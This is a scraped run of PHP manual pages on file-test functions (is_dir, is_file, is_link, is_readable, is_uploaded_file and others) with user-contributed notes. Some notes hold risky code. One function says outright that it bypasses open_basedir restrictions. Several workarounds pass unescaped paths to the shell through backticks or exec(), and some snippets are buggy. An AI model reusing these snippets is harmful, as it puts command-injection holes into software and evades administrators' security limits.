For example, I'm using Mac and the empty directory shows me three files: ".", ".." and ".DS_Store", so if I am planning to put the website online on my Mac, I've to count in the ".DS_Store" file!
digitalaudiorock at gmail dot com 09-Jun-2010 09:48
Just a note for anyone who encounters is_dir() returning false on CIFS mount points or directories within those mount points on 2.6.31 and newer kernels: Apparently in new kernels they've started using the CIFS serverino option by default.  With Windows shares this causes huge inode numbers and which apparently can cause is_dir() to return false.  Adding the noserverino option to the CIFS mount will prevent this.  This may only occur on 32 systems but I don't have a 64 bit install to test against.
vstoykov at consultant dot bg 23-Apr-2009 12:43
When trying (no 'pear') to enumerate mounted drives on a win32  platform (Win XP SP3, Apache/2.2.11, PHP/5.2.9), I used:

<?php
function echo_win_drives() {

  for($c='A'; $c<='Z'; $c++)
    if(is_dir($c . ':'))
      echo $c . ': ';
}
?>

which yielded:
A: C: D: E: F: G: H: I:
alanguir at detroitchamber dot com 28-Jan-2009 06:02
When I run a scandir I always run a simple filter to account for file system artifacts (especially from a simple ftp folder drop) and the "." ".." that shows up in every directory:

<?php
    if (is_dir($folder){
        $contents = scandir($folder);
        $bad = array(".", "..", ".DS_Store", "_notes", "Thumbs.db");
        $files = array_diff($contents, $bad);
    }
?>
Btx 26-Sep-2008 12:03
<?php
public static function isEmptyDir($dir){
     return (($files = @scandir($dir)) && count($files) <= 2);
}
?>

better ;)
jasoneisen at gee mail 29-Aug-2008 05:53
An even better (PHP 5 only) alternative to "Davy Defaud's function":

<?php
function is_empty_dir($dir)
{
    if (($files = @scandir($dir)) && count($files) <= 2) {
        return true;
    }
    return false;
}
?>

NOTE: you should obviously be checking beforehand if $dir is actually a directory, and that it is readable, as only relying on this you would assume that in both cases you have a non-empty readable directory.
Anonymous 18-Dec-2007 08:51
One note regarding checking for empty directories :
>>echo (count(glob("$dir/*")) === 0) ? 'Empty' : 'Not empty';
This does not work correctly on Linux.
The '.' and '..' will always be returned even if no files are present in the directory.
danr at cvisual dot com dot com 18-Jul-2007 11:54
Running PHP 5.2.0 on Apache Windows, I had a problem (likely the same one as described by others) where is_dir returned a False for directories with certain permissions even though they were accessible.

Strangely, I was able to overcome the problem with a more complete path. For example, this only displays "Works" on subdirectories with particular permissions (in this directory about 1 out of 3):

$d = opendir("./albums/mydir");
while(false !== ($f = readdir($d))) {
    echo "<hr />";
        if(is_dir($f)) {
            echo "<b>Works:" . $f . "</b>";
        }
}

However, this works properly for all directories:

$d = opendir("./albums/mydir");
while(false !== ($f = readdir($d))) {
    echo "<hr />";
        $dName = "./albums/mydir/" . $f;
        if(is_dir($dName)) {
            echo "<b>Works:" . $dName . "</b>";
        }
}

I don't understand the hit-and-miss of the first code, but maybe the second code can help others having this problem.
gecko4 at gmail dot com 25-Feb-2007 06:03
Here is another way to test if a directory is empty, which I think is much simpler than those posted below:

<?php
$dir = 'directory';
echo (count(glob("$dir/*")) === 0) ? 'Empty' : 'Not empty';
?>
Eric 24-Oct-2006 10:53
Ah ha!  Maybe this is a bug, or limitation to be more precise, of php. See http://bugs.php.net/bug.php?id=27792

A workaround is posted on the page (above) and seems to work for me:

function is_dir_LFS($path){
  return (('d'==substr(exec("ls -dl '$path'"),0,1))?(true):(false));
}

PS: I'm using PHP 4.3.10-16, posts report this problem up to 5.0
puremango dot co dot uk at gmail dot com 08-Feb-2005 08:55
this function bypasses open_basedir restrictions.
<?
function my_is_dir($dir)
{
    // bypasses open_basedir restrictions of is_dir and fileperms
    $tmp_cmd = `ls -dl $dir`;
    $dir_flag = $tmp_cmd[0];
    if($dir_flag!="d")
    {
        // not d; use next char (first char might be 's' and is still directory)
        $dir_flag = $tmp_cmd[1];
    }
    return ($dir_flag=="d");
}
?>

example:
<?
....
echo is_dir("/somewhere/i/dont/have/access/to");
?>
output:
Warning: open_basedir restriction in effect

<?
....
echo my_is_dir("/somewhere/i/dont/have/access/to");
?>
output:
true (or false, depending whether it is or not...)

---
visit puremango.co.uk for other such wonders
03-Feb-2005 01:12
Unfortunately, the function posted by p dot marzec at bold-sg dot pl does not work.
The corrected version is:

// returns true if folder is empty or not existing
// false if folde is full

function is_empty_folder($dir) {
if (is_dir($dir)) {
   $dl=opendir($dir);
   if ($dl) {
       while($name = readdir($dl)) {
   if (!is_dir("$dir/$name")) { //<--- corrected here
       return false;
       break;
       }
   }
       closedir($dl);
       }
   return true;
   } else return true;
}
tibard at gmail dot com 01-Feb-2005 09:32
use this function to get all files inside a directory (including subdirectories)

<?php
function scan_Dir($dir) {
    $arrfiles = array();
    if (is_dir($dir)) {
        if ($handle = opendir($dir)) {
            chdir($dir);
            while (false !== ($file = readdir($handle))) {
                if ($file != "." && $file != "..") {
                    if (is_dir($file)) {
                        $arr = scan_Dir($file);
                        foreach ($arr as $value) {
                            $arrfiles[] = $dir."/".$value;
                        }
                    } else {
                        $arrfiles[] = $dir."/".$file;
                    }
                }
            }
            chdir("../");
        }
        closedir($handle);
    }
    return $arrfiles;
}

?>
sly at noiretblanc dot org 28-May-2004 07:10
This is the "is_dir" function I use to solve the problems :

function Another_is_dir ($file)
{
    if ((fileperms("$file") & 0x4000) == 0x4000)
        return TRUE;
    else
        return FALSE;
}

or, more simple :

function Another_is_dir ($file)
{
return ((fileperms("$file") & 0x4000) == 0x4000);
}

I can't remember where it comes from, but it works fine.


Tells whether the filename is executable

  • « is_dir
  • is_file »
  • PHP Manual
  • Filesystem Functions
  • Tells whether the filename is executable

is_executable

(PHP 4, PHP 5)

is_executable — Tells whether the filename is executable

Description

bool is_executable ( string $filename )

Tells whether the filename is executable.

Parameters

filename

Path to the file.

Return Values

Returns TRUE if the filename exists and is executable, or FALSE on error.

Examples

Example #1 is_executable() example

<?php

$file = '/home/vincent/somefile.sh';

if (is_executable($file)) {
    echo $file.' is executable';
} else {
    echo $file.' is not executable';
}

?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • is_file() - Tells whether the filename is a regular file
  • is_link() - Tells whether the filename is a symbolic link

User Contributed Notes

david at littlesystems dot com dot au 02-Jun-2002 08:38
to test whether the directory /home/david is executable (regardless of whether it is readable or writeable), issue the command:
$my_isWriteable = @file_exists("/home/david/.")

the @ gets rid of the warning when this command fails when the directory is not executable.


Tells whether the filename is a regular file

  • « is_executable
  • is_link »
  • PHP Manual
  • Filesystem Functions
  • Tells whether the filename is a regular file

is_file

(PHP 4, PHP 5)

is_file — Tells whether the filename is a regular file

Description

bool is_file ( string $filename )

Tells whether the given file is a regular file.

Parameters

filename

Path to the file.

Return Values

Returns TRUE if the filename exists and is a regular file, FALSE otherwise.

Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB.

Examples

Example #1 is_file() example

<?php
var_dump(is_file('a_file.txt')) . "\n";
var_dump(is_file('/usr/bin/')) . "\n";
?>

The above example will output:

bool(true)
bool(false)

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • is_dir() - Tells whether the filename is a directory
  • is_link() - Tells whether the filename is a symbolic link

User Contributed Notes

Anonymous 03-Mar-2014 06:13
Please be aware wildcards do not work as one might expect.

<?php
$file = '*.*';

if ( is_file($file) ) {
  echo( $file . ' is a regular file' );
} else {
  echo( $file . ' is not a regular file' );
}
?>

The above snippet suggests that *.* is a regular file. It does not sound regular to me. I would expect is_file() to return FALSE.
sarken at free dot fr 14-Aug-2013 01:42
I see, is_file not work properly on specifical file in /dev (linux)
look :

root@boofh:/data# php -r "var_dump(is_file('/dev/core'));"
bool(true)
root@boofh:/data# php -r "var_dump(is_file('/proc/kcore'));"
bool(true)

root@boofh:/data# ls -alh /proc/kcore
-r-------- 1 root root 128T Aug 13 18:39 /proc/kcore

OR FIND do not detect regular file.
root@boofh:/data# find /dev/ -type f
root@boofh:/data#

// version of php :
root@boofh:/data# php -v
PHP 5.4.4-14+deb7u3 (cli) (built: Jul 17 2013 14:54:08)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2012 Zend Technologies
david at bruchmann-web dot de 11-May-2013 02:36
Today I got the in the comments already described behaviour that between directory and file can't be distinguished by is_file() or is_dir().
A dirty and incomplete hack is below, incomplete because it never includes links and I never tested what happens when a directory is not allowed to be read.

$items = scandir($dir);
foreach ($items as $item){
    if ($item!='.' && $item!='..'){
        $deep = @scandir($dir.'/'.$item);
        echo ($deep ? '[DIR] ':'[FILE] '.$item.nl2br(PHP_EOL);
    }
}
Anonymous 07-Feb-2012 04:44
Note that is_file() returns false if the parent directory doesn't have +x set for you; this make sense, but other functions such as readdir() don't seem to have this limitation. The end result is that you can loop through a directory's files but is_file() will always fail.
Anonymous 19-Jun-2011 08:47
is_file doesn't recognize files whose filenames contain strange characters like czech ů or russian characters in general.

I've seen many scripts that take it for granted that a path is a directory when it fails is_file($path). When trying to determine whether a path links to a file or a dir, you should always use is_dir after getting false from is_file($path). For cases like described above, both will fail.
don dot duvall at deduvall dot com 11-Sep-2009 11:55
I have noticed that using is_file on windows servers (mainly for development) to use a full path c:\ doesn't always work.

I have had to use
C:/foldertowww/site/file.ext

so I preform an str_replace('\\', '/', $path)
Sometimes I have had the \ instead of / work. (this is using apache2 on XP)

but for sure you cannot have mixed separators.
ca dot redwood at gmail dot com 23-Apr-2009 09:24
this is a simple way to find specific files instead of using is_file().
this example is made for mac standards, but easily changed for pc.

<?php
function isfile($file){
    return preg_match('/^[^.^:^?^\-][^:^?]*\.(?i)' . getexts() . '$/',$file);
    //first character cannot be . : ? - subsequent characters can't be a : ?
    //then a . character and must end with one of your extentions
    //getexts() can be replaced with your extentions pattern
}

function getexts(){
    //list acceptable file extensions here
    return '(app|avi|doc|docx|exe|ico|mid|midi|mov|mp3|
                 mpg|mpeg|pdf|psd|qt|ra|ram|rm|rtf|txt|wav|word|xls)';
}

echo isfile('/Users/YourUserName/Sites/index.html');
?>
Kevin Gregull 13-Nov-2008 05:14
This Function deletes everything in a defined Folder:
Works with PHP 4 and 5.

<?php
  function deletefolder($path)
  {
    if ($handle=opendir($path))
    {
      while (false!==($file=readdir($handle)))
      {
        if ($file<>"." AND $file<>"..")
        {
          if (is_file($path.'/'.$file))
          {
            @unlink($path.'/'.$file);
          }
          if (is_dir($path.'/'.$file))
          {
            deletefolder($path.'/'.$file);
            @rmdir($path.'/'.$file);
          }
        }
      }
    }
  }
?>
rigrace at swbell dot net 10-Oct-2008 06:48
It took me a day or so to figure out that is_file() actually looks for a valid $ existing path/file in string form. It is not performing a pattern-like test on the parameter given. Its testing to see if the given parameter leads to a specific  existing 'name.ext' or other (non-directory) file type object.
sy well-known-sign damla.net 24-Mar-2008 01:23
In 32 bit environments, these functions including is_file(), stat() filesize() will not work due to PHPs default integer being signed. So anything above ~2.1 billion bytes you actually get a negative value.

This is actually a bug but I dont think there is an easy workaround. Try to switch to 64 bit.
gizmo at gizmo dot sk 22-Feb-2008 10:50
here is a workaround for the file size limit. uses bash file testing operator, so it may be changed to test directories etc.  (see http://tldp.org/LDP/abs/html/fto.html for possible test operators)

<?php
function is_file_lfs($path){
    exec('[ -f "'.$path.'" ]', $tmp, $ret);
    return $ret == 0;
}
?>
cristian dot ban at neobytesolutions com 27-Jun-2007 10:46
regarding note from rehfeld dot us :

In my experience the best( and easiest ) way to find the extension of a file is :

<?php

// use this when you are sure it actually has an extension.
$extension = end(explode(".", $file_name));

?>

or

<?php

// this one will also check if it actually has an extension
$parts = explode(".", $file_name);
if (is_array($parts) && count($parts) > 1)
    $extension = end($parts);

?>
tatarynowicz at gmail dot com 18-Oct-2006 04:35
An easy way not to have to choose between hard-coding full paths and using relative paths is either via this line:

<?php
// in the bootstrap file
define('DIR_ROOT', dirname(__FILE__));
// in other files, prefix paths with the constant
require(DIR_ROOT . '/relative/to/bootstrap.php');
?>

or if you have to use a relative path:

<?php
require(dirname(__FILE__) . '/relative/to/this_file.php');
?>

This way all your paths will be absolute, yet you can move the application anywhere in the filesystem.

BTW, each successive call to dirname takes you one step up in the directory tree.

<?php
echo __FILE__;
// /www/site.com/public/index.php
echo dirname(__FILE__);
// /www/site.com/public
echo dirname(dirname(__FILE__));
// /www/site.com
?>
Jonathan Shaltz 14-Oct-2005 07:23
Maybe this is a newbie mistake, but note that paths are relative to the filesystem and the location of the script.  This means that MS IIS virtual directories are not available by relative path - use an absolute.
This threw me because virtual directories ARE available for URLs, at least on IIS.
bill fumerola 31-Aug-2005 03:45
be careful, is_file() fails on files larger than your integer storage (2^32 for most).

Warning: is_file(): Stat failed for bigfile (errno=75 - Value too large for defined data type)
08-Mar-2005 06:02
### Symbolic links are resolved ###

If you pass a symlink (unix symbolic link) as parameter, is_file will resolve the symlink and will give information about the refered file. For example:

  touch file
  ln -s file link
  echo '<? if (is_file("link")) echo "y\n"; ?>' | php -q

will print "y".

is_dir resolves symlinks too.
ludvig dot ericson at gmail dot com 25-Oct-2004 08:06
I tend to use alot of includes, and I found that the is_file is based on the script executed, not ran.
if you request /foo.php and foo.php looks like this:
<?php
include('foobar/bar.php');
?>
and bar.php looks like this:
<?php
echo (is_file('foo/bar.txt'));
?>

Then PHP (on win32, php 5.x) would look for /foo/bar.txt and not /foobar/foo/bar.txt.
you would have to rewrite the is_file statement for that, or change working directory.
Noting this since I sat with the problem for some time,

cheers, Toxik.
rehfeld.us 04-Sep-2004 12:04
regarding rlh at d8acom dot com method,

It is incorrect. Well, it works but you are not guaranteed the file extension using that method.

for example :   filename.inc.php

your method will tell you the ext is "inc", but it is in fact "php"

heres a way that will work properly.

<?php

$dh = opendir($dir);

while (false !== ($document = readdir($dh))) {
    $pos = strrpos($document, '.');
    if (false !== $pos && strlen($document) > $pos + 1) {
        $ext = substr($document, $pos + 1);
    }
}

?>
rlh at d8acom dot com 12-Feb-2003 02:17
I do a lot of file parsing and have found the following technique extremely useful:

while (false !== ($document = readdir($my_dir)))
{
    $ext=explode('.',$document);
    if($document != '.' && $document != '..' && $ext[1])
    {
                       'Do something to file...'
              }
}

It gets around the fact that, when working on website pages, the html files are read as directories when downloaded. It also allows you to extend the usefulness of the above method by adding the ability to determine file types e.g.

if($document != '.' && $document != '..' && $ext[1]=='htm')
or
if($document != '.' && $document != '..' && $ext[1]=='doc')
andreas dot stagl at fits dot at 27-Mar-2002 08:34
if you're running apache as a service on a win32 machine, an you try to determinate if a file on an other pc in your network exists - ex.: is_file('//servername/share/dir1/dir2/file.txt') - you may return false when you're running the service as LocalSystem. To avoid this, you have to start the Apache-Service as a 'registered' domain user.
quietust at ircN dot org 14-Dec-2001 05:20
In PHP 4.1.0 under win32, this seems to print out a warning message if the file does not exist (using error_reporting = E_ALL & ~E_NOTICE).


Tells whether the filename is a symbolic link

  • « is_file
  • is_readable »
  • PHP Manual
  • Filesystem Functions
  • Tells whether the filename is a symbolic link

is_link

(PHP 4, PHP 5)

is_link — Tells whether the filename is a symbolic link

Description

bool is_link ( string $filename )

Tells whether the given file is a symbolic link.

Parameters

filename

Path to the file.

Return Values

Returns TRUE if the filename exists and is a symbolic link, FALSE otherwise.

Examples

Example #1 Create and confirm if a file is a symbolic link

<?php
$link = 'uploads';

if (is_link($link)) {
    echo(readlink($link));
} else {
    symlink('uploads.php', $link);
}
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • is_dir() - Tells whether the filename is a directory
  • is_file() - Tells whether the filename is a regular file
  • readlink() - Returns the target of a symbolic link

User Contributed Notes

gggeek 19-Sep-2013 05:53
On windows, take care that is_link returns false for Junctions.
Ways of telling apart a directory from a junction include doing both a stat() and and lstat() call and checking if there is any difference in the results
PaulE 02-Jun-2009 11:03
A workaround for Windows LNK files:

<?php

function _is_link($filename)
{
    if(is_link($filename))
        return true;

    $ext = substr(strrchr($filename, '.'), 1);
    if(strtolower($ext) == 'lnk')
    {
        return (_readlink($filename) ? true : false);
    }

    return false;
}

function _readlink($file)
{
    if(file_exists($file))
    {
        if(is_link($file))
        {
            return readlink($file);
        }

        // Get file content
        $handle = fopen($file, "rb");
        $buffer = array();

        while(!feof($handle))
        {
            $buffer[] = fread($handle, 1);
        }

        fclose($handle);

        // Test magic value and GUID
        if(count($buffer) < 20)
            return false;
        if($buffer[0] != 'L')
            return false;
        if((ord($buffer[4]) != 0x01) ||
           (ord($buffer[5]) != 0x14) ||
           (ord($buffer[6]) != 0x02) ||
           (ord($buffer[7]) != 0x00) ||
           (ord($buffer[8]) != 0x00) ||
           (ord($buffer[9]) != 0x00) ||
           (ord($buffer[10]) != 0x00) ||
           (ord($buffer[11]) != 0x00) ||
           (ord($buffer[12]) != 0xC0) ||
           (ord($buffer[13]) != 0x00) ||
           (ord($buffer[14]) != 0x00) ||
           (ord($buffer[15]) != 0x00) ||
           (ord($buffer[16]) != 0x00) ||
           (ord($buffer[17]) != 0x00) ||
           (ord($buffer[18]) != 0x00) ||
           (ord($buffer[19]) != 0x46))
        {
            return false;
        }

        $i = 20;
        if(count($buffer) < ($i + 4))
            return false;

        $flags = ord($buffer[$i]);
        $flags = $flags | (ord($buffer[++$i]) << 8);
        $flags = $flags | (ord($buffer[++$i]) << 16);
        $flags = $flags | (ord($buffer[++$i]) << 24);

        $hasShellItemIdList = ($flags & 0x00000001) ? true : false;
        $pointsToFileOrDir = ($flags & 0x00000002) ? true : false;

        if(!$pointsToFileOrDir)
            return false;

        if($hasShellItemIdList)
        {
            $i = 76;
            if(count($buffer) < ($i + 2))
                return false;

            $a = ord($buffer[$i]);
            $a = $a | (ord($buffer[++$i]) << 8);

        }

        $i = 78 + 4 + $a;
        if(count($buffer) < ($i + 4))
            return false;

        $b = ord($buffer[$i]);
        $b = $b | (ord($buffer[++$i]) << 8);
        $b = $b | (ord($buffer[++$i]) << 16);
        $b = $b | (ord($buffer[++$i]) << 24);

        $i = 78 + $a + $b;
        if(count($buffer) < ($i + 4))
            return false;

        $c = ord($buffer[$i]);
        $c = $c | (ord($buffer[++$i]) << 8);
        $c = $c | (ord($buffer[++$i]) << 16);
        $c = $c | (ord($buffer[++$i]) << 24);

        $i = 78 + $a + $b + $c;
        if(count($buffer) < ($i +1))
            return false;

        $linkedTarget = "";
        for(;$i < count($buffer); ++$i)
        {
            if(!ord($buffer[$i]))
                break;

            $linkedTarget .= $buffer[$i];
        }

        if(empty($linkedTarget))
            return false;

        return $linkedTarget;
    }

    return false;
}

if(_is_link('test.lnk'))
{
    echo _readlink('test.lnk');
}
?>
foobarfarter 19-Oct-2008 12:06
@radon8472 at hotmail dot com
The windows .lnk-things are real files, the explorer only treats them like links. Try to open one with Win+R->"notepad X:\Path\Visiblefilename.lnk You will see much 0-Bytes, but the linked path is displayed right on the screen. It should be possible to do the same by php.
radon8472 at hotmail dot com 01-Aug-2008 06:38
This function returns "false" for windows *.lnk files (tested under windows XP).

filetype also returns "file" an not "link" like expected.

I didn`t find a solution for this.
mbirth at webwriters dot de 20-May-2008 05:24
To find out whether a file is hardlinked to another filename, check the number of links of the stat() output. If it is >1 there is another filename for that file.

To find out whether two filenames are pointing to the same file, check the inode number of those 2 filenames. If it is equal, the 2 filenames are hardlinked together.
neverpanic->gmail[com] 30-Dec-2006 11:50
For me (Debian Sarge VPS) is_link returns true even for directories if you don't add a trailing slash to the filename.
<?php
if ($dir{strlen($dir)-1} == '/') $dir = substr($dir, 0, -1);
is_link($dir);
?>
This works for me. It can't detect a symlink somewhere in a complete path, though (i.e. is_link(/www/somedir/file.php) will return false, just as is_link(/www/) would)
brendy at gmail dot com 06-May-2006 04:22
On Mac OSX, to see if a file is a FInder alias:

<?PHP
if( getFinderAlias( $someFile , $target ) ) {
 echo $target;
}
else {
 echo "File is not an alias";
}

function getFinderAlias( $filename , &$target ) {
$getAliasTarget = <<< HEREDOC
    -- BEGIN APPLESCRIPT --
    set checkFileStr to "{$filename}"
    set checkFile to checkFileStr as POSIX file
    try
        tell application "Finder"
            if original item of file checkFile exists then
                set targetFile to (original item of file checkFile) as alias
                set posTargetFile to POSIX path of targetFile as text
                get posTargetFile
            end if
        end tell
    end try
    -- END APPLESCRIPT --
HEREDOC;
$runText = "osascript << EOS\n{$getAliasTarget}\nEOS\n";
$target = trim( shell_exec( $runText ) );
return ( $target == "" ? false : true );
}
?>
andudi at gmx dot ch 02-Jun-2002 07:44
On my SuSE 7.2 is_link does not work on directories, but to find out, if a dir is a link, I use now this:

$linkdir = $path.$linkdirname;
if (realpath($linkdir) != realpath($path)."/".$linkdirname):
//$linkdir is a symbolic linked dir!
...

and this works fine :-)

Andreas Dick


Tells whether a file exists and is readable

  • « is_link
  • is_uploaded_file »
  • PHP Manual
  • Filesystem Functions
  • Tells whether a file exists and is readable

is_readable

(PHP 4, PHP 5)

is_readable — Tells whether a file exists and is readable

Description

bool is_readable ( string $filename )

Tells whether a file exists and is readable.

Parameters

filename

Path to the file.

Return Values

Returns TRUE if the file or directory specified by filename exists and is readable, FALSE otherwise.

Examples

Example #1 is_readable() example

<?php
$filename = 'test.txt';
if (is_readable($filename)) {
    echo 'The file is readable';
} else {
    echo 'The file is not readable';
}
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Keep in mind that PHP may be accessing the file as the user id that the web server runs as (often 'nobody'). Safe mode limitations are not taken into account before PHP 5.1.5.

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

Note:

The check is done using the real UID/GID instead of the effective one.

This function may return TRUE for directories. Use is_dir() to distinguish file and directory.

See Also

  • is_writable() - Tells whether the filename is writable
  • file_exists() - Checks whether a file or directory exists
  • fgets() - Gets line from file pointer

User Contributed Notes

pgl at yoyo dot org 31-Jul-2009 04:13
Note that is_readable() will return false for streams, eg, php://stdin.
jo at durchholz dot org 30-Jan-2006 06:15
DrTebi at yahoo dot com is wrong. is_readable() checks whether you can do file_get_contents() or similar calls, no more, no less. If the location given returns a 500 or 403 error, you can still read() that (you'll simply get the error page), but it's still read()able. Using is_readable to check the validity of a URL is simply the wrong function.
27-Jul-2005 04:08
Sometimes in situations where file_exists fails (returns false even though the file does exist) stat will work.


Tells whether the file was uploaded via HTTP POST

  • « is_readable
  • is_writable »
  • PHP Manual
  • Filesystem Functions
  • Tells whether the file was uploaded via HTTP POST

is_uploaded_file

(PHP 4 >= 4.0.3, PHP 5)

is_uploaded_file — Tells whether the file was uploaded via HTTP POST

Description

bool is_uploaded_file ( string $filename )

Returns TRUE if the file named by filename was uploaded via HTTP POST. This is useful to help ensure that a malicious user hasn't tried to trick the script into working on files upon which it should not be working--for instance, /etc/passwd.

This sort of check is especially important if there is any chance that anything done with uploaded files could reveal their contents to the user, or even to other users on the same system.

For proper working, the function is_uploaded_file() needs an argument like $_FILES['userfile']['tmp_name'], - the name of the uploaded file on the client's machine $_FILES['userfile']['name'] does not work.

Parameters

filename

The filename being checked.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 is_uploaded_file() example

<?php

if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
   echo "File ". $_FILES['userfile']['name'] ." uploaded successfully.\n";
   echo "Displaying contents\n";
   readfile($_FILES['userfile']['tmp_name']);
} else {
   echo "Possible file upload attack: ";
   echo "filename '". $_FILES['userfile']['tmp_name'] . "'.";
}

?>

See Also

  • move_uploaded_file() - Moves an uploaded file to a new location
  • $_FILES
  • See Handling file uploads for a simple usage example.

User Contributed Notes

nicoSWD 29-Nov-2013 01:39
Note that calling this function before move_uploaded_file() is not necessary, as it does the exact same checks already. It provides no extra security. Only when you're trying to use an uploaded file for something other than moving it to a new location.

Reference:
https://github.com/php/php-src/blob/master/ext/standard/basic_functions.c#L5796
Anonymous 08-Oct-2013 08:08
Here is my code for file handler, i hope it help to all:

First a class to handler file upload:
<?php
    define('UPLOAD_PATH', 'upload/');
    define('MAXIMUM_FILESIZE', '10485760'); //10 MB
    class FileHandler
    {
        private $file_types = array('xls', 'xlsx');
        private $files = null;
        private $filename_sanitized = null;
        private $filename_original = null;

        public function __construct($files)
        {
            $this->files = $files;
        }

        public function setFileTypes($fileTypes = array())
        {
            $this->file_types = $fileTypes;
            return $this;
        }

        public function setFileNameOriginal($filename)
        {
            $this->filename_original = $filename;
        }

        public function fileNameOriginal()
        {
            return $this->filename_original;
        }

        public function sanitize($cursor = 0)
        {
            $this->setFileNameOriginal($this->files['name'][$cursor]);

            $safe_filename = preg_replace(
                    array("/\s+/", "/[^-\.\w]+/"),
                    array("_", ""),
                    trim($this->fileNameOriginal()));
            $this->filename_sanitized  = md5($safe_filename.time()).$safe_filename;
            return $this;
        }

        public function fileSize($cursor = 0)
        {
            return $this->files['size'][$cursor];
        }

        public function extensionValid()
        {
            $fileTypes = implode('|', $this->file_types);
            $rEFileTypes = "/^\.($fileTypes){1}$/i";
            if(!preg_match($rEFileTypes, strrchr($this->filename_sanitized, '.')))
                throw new Exception('No se pudo encontrar el tipo de archivo apropiado');

            return $this;
        }

        public function isUploadedFile($cursor)
        {
            if(!is_uploaded_file($this->files['tmp_name'][$cursor]))
            {
                throw new Exception("No se obtuvo la carga del archivo");
            }
        }

        public function saveUploadedFile($cursor)
        {
            if(!move_uploaded_file ($this->files['tmp_name'][$cursor],UPLOAD_PATH.$this->filename_sanitized))
                throw new Exception("No se consigui&oacute; guardar el archivo");
        }

        public function fileNameSanitized()
        {
            return $this->filename_sanitized;
        }

        public function uploadFile($cursor = 0)
        {
            $this->isUploadedFile($cursor);
            if ($this->sanitize($cursor)->fileSize($cursor) <= MAXIMUM_FILESIZE)
            {
                $this->extensionValid()->saveUploadedFile($cursor);
            }
            else
            {
                throw new Exception("El archivo es demasiado grande.");
            }
            return $name;
        }

    }

?>

Next a part of code to use the class

<?php
//form is submited  and detect that
if ($form_submited == 1)
{
    try
    {
                //i assume de input file is:
                /*
                       <input id="<?php echo EXCEL_FILE;?>[]" name="<?php echo EXCEL_FILE;?>[]" type="file"/>
                       where EXCEL_FILE is the constant:
                       define('EXCEL_FILE', 'excel_file');
                */
        $file = new FileHandler($_FILES['excel_file']);
        $inputFileName = $file->uploadFile()->fileNameSanitized();  // File to read
                ...

    }
    catch(Exception $e)
    {
        die('Error cargando archivo "'.($file->fileNameOriginal()).'": '.$e->getMessage());
    }

}
?>
uramihsayibok, gmail, com 13-Aug-2007 06:18
It isn't mentioned anywhere that I've seen, but $filename *is* case-sensitive on Windows.
It means that while C:\Windows\TEMP\php123.tmp may have been uploaded, C:\Windows\Temp\php123.tmp was not.

I found this out because I was using realpath() on the filename which 'fixed' the case (my Temp folder is in titlecase, not uppercase - thank you Vista).

Anyways, the problem was that PHP used %TEMP% to determine the destination for the uploaded file, and %TEMP% used the all-capitals version of the path. Changing it to use titlecase instead + restarting Apache fixed the problem.
YLearn 10-Oct-2005 07:42
Just looked at what I posted again and found several mistakes of the major and minor sort.  That's what I get for posting before I finish my coffee.  This should work better (i.e. should work in the first place):

<?php
   default: //a default error, just in case!  :)
       echo "There was a problem with your upload.";
       $err_msg = "Unrecognized file POST error: ".$HTTP_POST_FILES['userfile']['error'];
       if (!(strpos($err_msg, "\n") === false)) {
           $err_lines = explode("\n", $err_msg);
           foreach ($err_lines as $msg) {
               error_log($msg, 0);
           }
       } else {
           error_log($err_msg, 0);
       }
       break;
?>
YLearn 10-Oct-2005 06:41
Regarding topcat's suggested change, I am split on doing that.  I don't like showing users errors that may give them more information than they should have (or show that I haven't provided for that particular error).  But I want to know when there are errors that fall to the default case so I can fix my code.  What I will typically do is write them to the error log something like this modification to metaltoad's post (takes into account the possibility of multi-line errors which error_log doesn't handle well):

<?php
    default: //a default error, just in case!  :)
        echo "There was a problem with your upload.";
        $err_msg = "Unrecognized file POST error: ".$HTTP_POST_FILES['userfile']['error'];
        if ((strpos($err_msg, "\n") === 0) {
            $err_lines = explode("\n", $err_msg);
            foreach ($err_lines as $msg) {
                error_log($msg, 0);
            }
        } else {
            error_log($err_msg, 0)
        }
        break;
?>
juk 19-Sep-2005 12:26
If your $_FILES and $_POST are empty, this can be due to
- the limit set by post_max_size in php.ini
- the limit set by upload_max_filesize in php.ini

Unfortunately the first limit is not reported back as an error code in $_FILES['error'].
topcat 14-Jul-2005 01:56
Just a little tip to info at metaltoad's comment:
It's good practice to print error code when it can't be recognized:

   default: //print the error code
     echo "Unrecognized error code: ".$HTTP_POST_FILES['userfile']['error'];
     break;
23-Apr-2005 09:29
make use u got the enctype="multipart/form-data" in ur form tag otrherwise nothing works... took me two hours to find that out.......
beer UNDRSCR nomaed AT hotmail DOT com 15-Apr-2005 01:21
Regarding the comment of info at metaltoad dot net
@ 19-Feb-2003 04:03

<?php
// ... yada yada yada...
preg_match("/.exe$|.com$|.bat$|.zip$|.doc$|.txt$/i", $HTTP_POST_FILES['userfile']['name']))
// ... yada yada yada...
?>

This will not work. It will, but not correctly.
You shuld escape the . (dot) for the preg function,
and escape the $ (dollar) sign for PHP, or use
single-quoted string...

The syntax should be (much shorter and neater):

<?php
// ... yada yada yada...
preg_match('/\\.(exe|com|bat|zip|doc|txt)$/i', $_FILES['userfile']['name']))
// ... yada yada yada...
?>
lots2learn at gmail dot com 07-Feb-2005 06:13
